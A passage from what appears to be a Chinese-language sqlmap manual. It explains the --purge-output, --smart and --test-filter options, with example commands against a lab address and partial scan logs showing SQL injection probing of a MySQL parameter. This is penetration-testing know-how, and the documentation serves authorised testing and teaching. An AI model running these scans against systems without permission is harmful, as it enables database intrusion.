当用户想要安全地删除输出目录中的所有内容时使用此参数。所谓安全删除，不仅仅是删除，而是在删除前先用随机数据覆盖原有数据，甚至对文件名和目录名也进行重命名以覆盖旧名称，所有覆盖工作完成后才执行删除。最后，输出目录中会一无所有。如：
python sqlmap.py --purge-output -v 3
部分输出如下：
[*] starting at 19:51:36
[19:51:36] [DEBUG] cleaning up configuration parameters
[19:51:36] [INFO] purging content of directory '/home/werner/.sqlmap/output'...

15.快速扫描
参数：–smart
当有大量URL要进行测试（如：“-m”），目的是尽快找出其中存在的某些注入点而有所遗漏也没有关系时可以使用“–smart”进行正向启发式扫描。此时只有让数据库管理系统报错的参数才会做进一步测试，其余URL均被跳过。如：
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart
[...]

16.通过关键词使用或跳过payload
参数：–test-filter
若只想使用包含关键词“ROW”的payload可使用参数“–test-filter=ROW”。下面是以Mysql为目标的例子：
python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --batch --test-filter=ROW
部分输出如下：
[xx:xx:39] [INFO] GET parameter ’id’ is dynamic
[xx:xx:39] [WARNING] reflective value(s) found and filtering out
[xx:xx:39] [INFO] heuristic (basic) test shows that GET parameter ’id’ might be injectable (possible DBMS: ’MySQL’)
[xx:xx:39] [INFO] testing for SQL injection on GET parameter ’id’
[xx:xx:39] [INFO] testing ’MySQL >= 4.1 AND error-based - WHERE or HAVING clause’
